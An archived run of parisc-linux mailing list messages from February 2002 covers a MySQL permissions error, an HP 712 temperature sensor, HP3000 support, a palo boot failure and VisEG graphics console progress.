List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14126

Quoth Tilo Jandt:
> 020218 11:57:49  mysqld started
> Cannot initialize InnoDB as 'innodb_data_file_path' is not set.
> If you do not want to use transactional InnoDB tables, add a line
> skip-innodb
> to the [mysqld] section of init parameters in your my.cnf
> or my.ini. If you want to use InnoDB tables, add for example,
> innodb_data_file_path = ibdata1:30M
> But to get good performance you should adjust for your hardware
> the InnoDB startup options listed in section 2 at
> http://www.innodb.com/ibman.html
> 020218 11:57:51  /usr/sbin/mysqld: Can't find file: './mysql/host.frm' 
> (errno: 13)
> 020218 11:57:51  mysqld ended

The innodb warning you can easily fix by adding the 'skip-innodb' line
as the text there suggests.

> Preparing db table
> Preparing host table
> Preparing user table
> Preparing func table
> Preparing tables_priv table
> Preparing columns_priv table
> Installing all prepared tables
> 020218 11:57:41  /usr/sbin/mysqld: Shutdown Complete
> 
> 
> PLEASE REMEMBER TO SET A PASSWORD FOR THE MySQL root USER !
> This is done with:
> /usr/bin/mysqladmin -u root -p password 'new-password'
> /usr/bin/mysqladmin -u root -h beta -p password 'new-password'
> See the manual for more instructions.
> 
> Please report any problems with the /usr/bin/mysqlbug script!
> 
> The latest information about MySQL is available on the web at
> http://www.mysql.com
> Support MySQL by buying support/licenses at https://order.mysql.com
> 
> ERROR: 1017  Can't find file: './mysql/user.frm' (errno: 13)
> 020218 11:57:42  /usr/sbin/mysqld: Shutdown Complete
> 
> ERROR: 1017  Can't find file: './mysql/db.frm' (errno: 13)
> ERROR: 1017  Can't find file: './mysql/db.frm' (errno: 13)
> 020218 11:57:44  /usr/sbin/mysqld: Shutdown Complete
> 
> But these files (db.frm and user.frm) exists in /var/lib/mysql.
> 
> Does anyone have an idea how to get mysql work?

This probably isn't a linux-hppa problem.  Check:

  - does /etc/mysql/my.cnf have the line "datadir = /var/lib/mysql"?
  - are /var/lib/mysql and /var/lib/mysql/mysql owned by "mysql.mysql"?
  - are the files in /var/lib/mysql/mysql mode 0660?  (-rw-rw----)

If your mysqld is telling us the truth, then it's just having trouble
getting to the files, either because it doesn't know where they are, it
doesn't have permission to read them, or because on of the directories
higher up the tree (eg /var/lib or /var/lib/mysql) is not accessable
for the mysql user (+x).

Try this if you have sudo installed:

beta# sudo -u mysql ls -laR /var/lib/mysql

If the output all looks kosher then it's not an access and permissions
problem, and you'll have to think of something else ...

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."



From - Thu Nov 08 21:21:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jbit <james_a_n_lee@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712 Software Temperature
Date: Thu, 21 Feb 2002 11:51:46 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <3C74DF52.7090308@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621091 3679 80.91.229.3 (22 Nov 2014 01:51:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:31 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 21 04:52:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp017.mail.yahoo.com (smtp017.mail.yahoo.com [216.136.174.114])
	by dsl2.external.hp.com (Postfix) with SMTP id D7A2F4853
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Feb 2002 04:52:01 -0700 (MST)
Original-Received: from m188-mp1-cvx1a.cam.ntl.com (HELO yahoo.com) (62.253.144.188)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 21 Feb 2002 11:51:59 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.7) Gecko/20011228
X-Accept-Language: en-gb, en-us, en-au, en, ja
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14127

Hi,
looking inside my 712, I noticed that it has a thermocouple or somthing to dectect the temperature in the case.
Tracing back the wires finds that they connect to the mainboard, and on the same connector, theres 2 wires that goto the power supply.
I'd assume this is for a secondry fan?
Anyway, since it goes to the mainboard, does this mean its posible to find out the temperature in software?
Since, if it was purley for fan control, it would be done in hardware, wouldn't it?

Thanks
--Jbit


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From - Thu Nov 08 21:21:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712 Software Temperature
Date: Thu, 21 Feb 2002 13:33:42 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20020221123342.GY4237@charite.de>
References: <3C74DF52.7090308@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621091 3684 80.91.229.3 (22 Nov 2014 01:51:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:31 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Jbit <james_a_n_lee@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 21 05:35:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BAA6485E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Feb 2002 05:35:47 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 8E23715C042; Thu, 21 Feb 2002 13:35:46 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with SMTP
	id 4380E15C0C2; Thu, 21 Feb 2002 13:33:43 +0100 (CET)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 322D315C0B1; Thu, 21 Feb 2002 13:33:43 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 1B12F633B5; Thu, 21 Feb 2002 13:33:43 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <3C74DF52.7090308@yahoo.com>
User-Agent: Mutt/1.3.25i
X-Virus-Scanned: by AMaViS snapshot-20020109
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14128

On Thu, Feb 21, 2002 at 11:51:46AM +0000, Jbit wrote:
> Hi,
> looking inside my 712, I noticed that it has a thermocouple or somthing to 
> dectect the temperature in the case.
> Tracing back the wires finds that they connect to the mainboard, and on the 
> same connector, theres 2 wires that goto the power supply.
> I'd assume this is for a secondry fan?

According to the manual, the fan shifts ito higher gear, once the
temperature exceeds 30 deg. celsius.

> Anyway, since it goes to the mainboard, does this mean its posible to find 
> out the temperature in software?

THAT would be interesting.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Murphy's Law is recursive.  
Washing your car to make it rain doesn't work. 




From - Thu Nov 08 21:21:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy.schriemer@philips.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP3000 model 937
Date: Thu, 21 Feb 2002 15:34:50 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <OFD0B612F9.F1BF32FB-ONC1256B67.004FBA94@diamond.philips.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="=_alternative 00501D13C1256B67_="
X-Trace: ger.gmane.org 1416621091 3687 80.91.229.3 (22 Nov 2014 01:51:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 21 07:35:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gw-nl4.philips.com (gw-nl4.philips.com [212.153.190.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C8034871
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Feb 2002 07:35:16 -0700 (MST)
Original-Received: from smtpscan-nl2.philips.com (localhost.philips.com [127.0.0.1])
          by gw-nl4.philips.com with ESMTP id PAA15532
          for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Feb 2002 15:34:07 +0100 (CET)
          (envelope-from willy.schriemer@philips.com)
Original-Received: from smtpscan-nl2.philips.com(130.139.36.22) by gw-nl4.philips.com via mwrap (4.0a)
	id xma015481; Thu, 21 Feb 02 15:34:08 +0100
Original-Received: from smtprelay-nl1.philips.com (localhost [127.0.0.1]) 
	by smtpscan-nl2.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id PAA10410
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Feb 2002 15:35:07 +0100 (MET)
Original-Received: from ehv001soh.diamond.philips.com (e2soh01.diamond.philips.com [130.139.52.212]) 
	by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id PAA00064
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Feb 2002 15:35:05 +0100 (MET)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on ehv001soh/H/SERVER/PHILIPS(Release 5.0.5 |September
 22, 2000) at 21/02/2002 15:35:50,
	Serialize complete at 21/02/2002 15:35:50
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14129

This is a multipart message in MIME format.
--=_alternative 00501D13C1256B67_=
Content-Type: text/plain; charset="us-ascii"

Hi fellow listers,

Is it possible to use PaRisc on HP3000 model 937RX. This machine is a good 
old MPE/iX wich I want to use for testing PaRisc0Linux.

TIA,

Willy Schriemer
System Manager Factory Automation Systems
Philips Semiconductors MOS3 Submicron Waferfab
Building FB 2.018
Gerstweg 2
6534 AE Nijmegen
The Netherlands
Tel. + 31 24 353 2991 or 5716

--=_alternative 00501D13C1256B67_=
Content-Type: text/html; charset="us-ascii"


<br><font size=2 face="sans-serif">Hi fellow listers,</font>
<br>
<br><font size=2 face="sans-serif">Is it possible to use PaRisc on HP3000 model 937RX. This machine is a good old MPE/iX wich I want to use for testing PaRisc0Linux.</font>
<br>
<br><font size=2 face="sans-serif">TIA,<br>
<br>
Willy Schriemer<br>
System Manager Factory Automation Systems<br>
Philips Semiconductors MOS3 Submicron Waferfab<br>
Building FB 2.018<br>
Gerstweg 2<br>
6534 AE Nijmegen<br>
The Netherlands<br>
Tel. + 31 24 353 2991 or 5716<br>
</font>
--=_alternative 00501D13C1256B67_=--



From - Thu Nov 08 21:21:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP3000 model 937
Date: Thu, 21 Feb 2002 15:05:05 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20020221150505.E27212@parcelfarce.linux.theplanet.co.uk>
References: <OFD0B612F9.F1BF32FB-ONC1256B67.004FBA94@diamond.philips.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621092 3689 80.91.229.3 (22 Nov 2014 01:51:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: willy.schriemer@philips.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 21 08:05:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA0694878
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Feb 2002 08:05:07 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16dumP-0001WH-00; Thu, 21 Feb 2002 15:05:05 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <OFD0B612F9.F1BF32FB-ONC1256B67.004FBA94@diamond.philips.com>; from willy.schriemer@philips.com on Thu, Feb 21, 2002 at 03:34:50PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14130

On Thu, Feb 21, 2002 at 03:34:50PM +0100, willy.schriemer@philips.com wrote:
> Hi fellow listers,
> 
> Is it possible to use PaRisc on HP3000 model 937RX. This machine is a good 
> old MPE/iX wich I want to use for testing PaRisc0Linux.

As far as I can tell, the closest thing we have in the hwdb right now is
the F10: http://hwdb.parisc-linux.org/view.php3?type=machine&name=F10

This class of machine is full of undocumented devices including the
console, network and scsi.  It will be an awful lot of work to make this
class of machine any use.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP3000 model 937
Date: Thu, 21 Feb 2002 07:42:38 -0800 (PST)
Lines: 27
Approved: news@gmane.org
Message-ID: <200202211542.HAA04641@opus.allegro.com>
References: <OFD0B612F9.F1BF32FB-ONC1256B67.004FBA94@diamond.philips.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621092 3693 80.91.229.3 (22 Nov 2014 01:51:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: willy.schriemer@philips.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 21 08:43:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91F2F486C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Feb 2002 08:43:06 -0700 (MST)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id HAA04641;
	Thu, 21 Feb 2002 07:42:38 -0800
In-Reply-To: <OFD0B612F9.F1BF32FB-ONC1256B67.004FBA94@diamond.philips.com> from "willy.schriemer@philips.com" at Feb 21, 2002 03:34:50 PM
X-Mailer: ELM [version 2.5 PL3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14131

Re:

> Is it possible to use PaRisc on HP3000 model 937RX. This machine is a good 
> old MPE/iX wich I want to use for testing PaRisc0Linux.

Sorry, it's not supported by the current port.  It's the same
hardware as the HP 9000s of the F/G/H x0 series.  The I/O is a little
bit different, and HP hasn't release documentation for it (IIRC).

However, if you want to get rid of it, I saw a post from a user in
Poland last week, asking for an HP 3000 for their personal use.

> Sender:       HP-3000 Systems Discussion <HP3000-L@RAVEN.UTC.EDU>
> From:         Janusz <JRodzewicz@POCZTA.ONET.PL>
> Subject:      Want to buy HP3000 for personal use at home
> 
> Hi,all.
> 
> Looking for used 9xx, <= 5 users.
> 
> Regards
> Janusz.

Stan Sieler




From - Thu Nov 08 21:21:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yasholomew Yashinski <yashy@mail.yashy.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palo not booting kernel
Date: Thu, 21 Feb 2002 16:54:11 -0500 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <20020220232407.T96452-100000@mail.yashy.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621092 3698 80.91.229.3 (22 Nov 2014 01:51:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 21 14:53:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.yashy.com (cpu2119.adsl.bellglobal.com [207.236.3.96])
	by dsl2.external.hp.com (Postfix) with ESMTP id E17494850
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Feb 2002 14:53:43 -0700 (MST)
Original-Received: from yashy (helo=localhost)
	by mail.yashy.com with local-esmtp (Exim 3.33 #1)
	id 16e1AJ-000PjQ-00
	for parisc-linux@lists.parisc-linux.org; Thu, 21 Feb 2002 16:54:11 -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14132

 I completed a serial console cd-rom install, ignoring the kernel install
because of cd-rom detection issue (irony?). I booted off 0/vmlinux and
installed 2.4.16-32 via apt-get. Trying to reboot I get the following:

HARD Booted.
palo ipl 0.99 root@palinux Thu Jan 24 14:47:37 MST 2002

Partition Start(MB) End(MB) Id Type
1               1     244   82 swap
2             245     275   f0 Palo
3             276    8678   83 ext2

PALO(F0) partition contains:
    0/vmlinux32 3324993 bytes @ 0xf440000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=/dev/sdb3 HOME=/ console=ttyS0 TERM=vt102
palo_ke
rnel=3/boot/vmlinux'
Selected kernel: /boot/vmlinux from partition 3
offset_read(2, 0x0006c824, 128, 1342193664) can't seek past 221249536
ext2_iget: read errorERROR: open /boot/vmlinux from partition 3 failed

 Also wondering how the Vis EG-PCI support is coming, is
parisc-linux-announce the best way to track this? Anxious to use graphics
console :)

 (I can send anyone interested the issues I've had to date installing
0.9.3 via cd-rom on the B1k).

 Kowtow,

--
Yashy




From - Thu Nov 08 21:21:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo not booting kernel
Date: Thu, 21 Feb 2002 23:05:32 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <200202212305.32076.deller@gmx.de>
References: <20020220232407.T96452-100000@mail.yashy.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621093 3700 80.91.229.3 (22 Nov 2014 01:51:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:33 +0000 (UTC)
To: Yasholomew Yashinski <yashy@mail.yashy.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 21 15:09:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id EEF52486E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Feb 2002 15:09:15 -0700 (MST)
Original-Received: (qmail 23595 invoked by uid 0); 21 Feb 2002 22:09:14 -0000
Original-Received: from pd9e08617.dip.t-dialin.net (HELO P100) (217.224.134.23)
  by mail.gmx.net (mp001-rz3) with SMTP; 21 Feb 2002 22:09:14 -0000
X-Mailer: KMail [version 1.3.99]
In-Reply-To: <20020220232407.T96452-100000@mail.yashy.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14133

On Thursday 21 February 2002 22:54, Yasholomew Yashinski wrote:
>  Also wondering how the Vis EG-PCI support is coming, is
> parisc-linux-announce the best way to track this? Anxious to use graphics
> console :)

It's nearly finished. 
The current CVS version 2.4.17-pa28 now boots my c3000 w/ VisEG PCI and
has working sticon and stifb in case you _boot_ via serial console (after bootup
you may of course use sticon/stifb).
Booting from graphics console will still crash your machine - but we're working on that.

Helge



From - Thu Nov 08 21:21:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Schmid" <Thomas.Schmid@ascom.ch>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems running KDE on PARISC
Date: Fri, 22 Feb 2002 10:07:46 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <OF0A3B134F.4AC4EE69-ONC1256B68.002AD4A9@hasler.ascom.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621093 3703 80.91.229.3 (22 Nov 2014 01:51:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 22 02:07:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rubicon.hasler.ascom.ch (rubicon.hasler.ascom.ch [139.79.129.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49012482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Feb 2002 02:07:52 -0700 (MST)
Original-Received: from srvmailgate1.hasler.ascom.ch (srvmailgate1.hasler.ascom.ch [139.79.135.89])
	by rubicon.hasler.ascom.ch (8.11.4/8.11.4) with ESMTP id g1M97mQ12748
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Feb 2002 10:07:48 +0100 (MET)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on SrvMailGate1/Ascom(Release 5.0.5 |September 22, 2000) at
 22.02.2002 10:07:48,
	Serialize complete at 22.02.2002 10:07:48
X-Filter-Version: 1.6 (rubicon)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
